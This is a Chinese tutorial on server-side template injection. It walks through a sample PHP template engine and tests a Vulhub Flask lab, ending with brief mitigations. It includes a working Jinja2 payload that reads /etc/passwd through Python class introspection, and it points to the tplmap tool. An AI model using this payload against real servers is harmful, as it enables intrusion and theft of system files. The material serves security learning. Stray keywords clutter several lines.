百度百科:模板引擎(這裏特指用於Web開發的模板引擎)是爲了使用戶界面與業務數據(內容)分離而產生的,它能夠生成特定格式的文檔,用於網站的模板引擎就會生成一個標準的HTML文檔。
我的理解就是:一個html頁面中沒有實際內容,可是有變量,訪問這個頁面時須要將這個變量轉換成預期的內容,這時候就須要用到模板引擎。php(或者其餘腳本語言)代碼經過訪問模板引擎,模板引擎經過正則匹配產生一個新的緩存的html頁面,從而實現php和html代碼的分離。
從網上找了個小例子幫助咱們更好的理解SST的做用,大波code來襲: php
<?php //兩個參數 1,html 模板; 2,須要修改的參數 function display($tplFile, $tplVars = null) { $tplFilePath = rtrim(TPL_PATH,'/') . '/' . $tplFile; if (!file_exists($tplFilePath)) { exit('模版文件不存在'); } $html = compile($tplFilePath); $cacheFileName = parsePath($tplFile); if (!check_cache_dir(TPL_CACHE)) { exit('緩存目錄不可寫'); } if (!file_put_contents($cacheFileName, $html)) { exit('緩存文件寫入失敗'); } if (is_array($tplVars)) { extract($tplVars); include $cacheFileName; } } function check_cache_dir($path) { if(!file_exists($path) || !is_dir($path)) { return mkdir($path,0755,true); } if(!is_writeable($path) || !is_readable($path)) { return chmod($path,0755); } return true; } function parsePath($tplFile) { $path = rtrim(TPL_CACHE,'/').'/'.str_replace('.','_',$tplFile).'.php'; return $path; } function compile($path) { $keys = [ '{if %%}' => '<?php if(\1): ?>', '{else}' => '<?php else : ?>', '{else if %%}' => '<?php elseif(\1) : ?>', '{elseif %%}' => '<?php elseif(\1) : ?>', '{/if}' => '<?php endif;?>', '{$%%}' => '<?=$\1;?>', '{foreach %%} ' => '<?php foreach(\1) :?>', '{/foreach}' => '<?php endforeach;?>', '{for %%}' => '<?php for(\1):?>', '{/for}' => '<?php endfor;?>', '{while %%}' => '<?php while(\1):?>', '{/while}' => '<?php endwhile;?>', '{continue}' => '<?php continue;?>', '{break}' => '<?php break;?>', '{$%% = $%%}' => '<?php $\1 = $\2;?>', '{$%%++}' => '<?php $\1++;?>', '{$%%--}' => '<?php $\1--;?>', '{comment}' => '<?php /* ', '{/comment}' => '*/?>', '{/*}' => '<?php /* ', '{*/}' => '*?>', '{section}' => '<?php ', '{/section}' => '?>', '{include %%}' => '<?php include \1;?>', ]; $file = file_get_contents($path); foreach ($keys as $key => $val) { $pattern = '#'. str_replace('%%', '(.+)', preg_quote($key,'#')) .'#imsU'; $replace = $val; if (stripos($pattern,'include')) { $file = preg_replace_callback($pattern, 'parseInclude', $file); } else{ $file = preg_replace($pattern, $replace, $file); } } return $file; } function parseInclude($data) { $path = str_replace(array('\'','"'),'',$data[1]); //data[1]就是-------footer.html $cacheFileName = parsePath($path); display($path); return '<?php include "'.$cacheFileName.'";?>'; }
<?php define('TPL_CACHE','./cache/'); define('TPL_PATH','./views/'); #### test.php <?php include 'config.php'; include 'tpl.func.php'; $title = '圈子社區'; $content = '圈子社區!圈子社區!'; display('moban.html',compact('title','content','footercontent'));
<html> <head> <title>{$title}</title> </head> <body> {$content} <br /> <hr /> </body> </html>
若是在一個頁面中php代碼與html代碼混合在一塊兒,在不少時候都會形成不便,用模板引擎可讓php代碼和html代碼進行分離。html
仍是道哥的那句話,安全的本質是信任。SST信任了用戶的輸入,而且執行這些內容,包括執行本機函數。就像eval函數對傳入的內容未加任何過濾同樣。所以模板注入(SSTI)很容易致使遠程代碼執行(RCE)、信息泄露等漏洞。python
原本準備找CTF題的,可是一直沒找到,若是有師傅找到源碼,望分享!
這裏就用vuhub的ssti測試一下
訪問頁面是hello guestgit
由於看過app.py的源碼,因此直接在後面加參數?name=123,顯示hello 123github
說明這裏的name咱們是被信任的(當它什麼都沒過濾),猜想存在ssti。
接着再輸入一個表達式{{2*3}}flask
顯示hello 6,驗證了存在ssti。
payload
python3 :讀取文件 緩存
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read() }}{% endif %}{% endfor %}
也能夠用工具tplmap,挺好用
https://github.com/epinna/tplmap 安全
1.儘量加載靜態模板文件。
2.不要容許用戶控制此類文件或其內容的路徑。
app
https://xi4or0uji.github.io/2019/01/17/2019-1-15-flask%E4%B9%8Bssti%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/
https://blog.csdn.net/qq_40657585/article/details/83657220
函數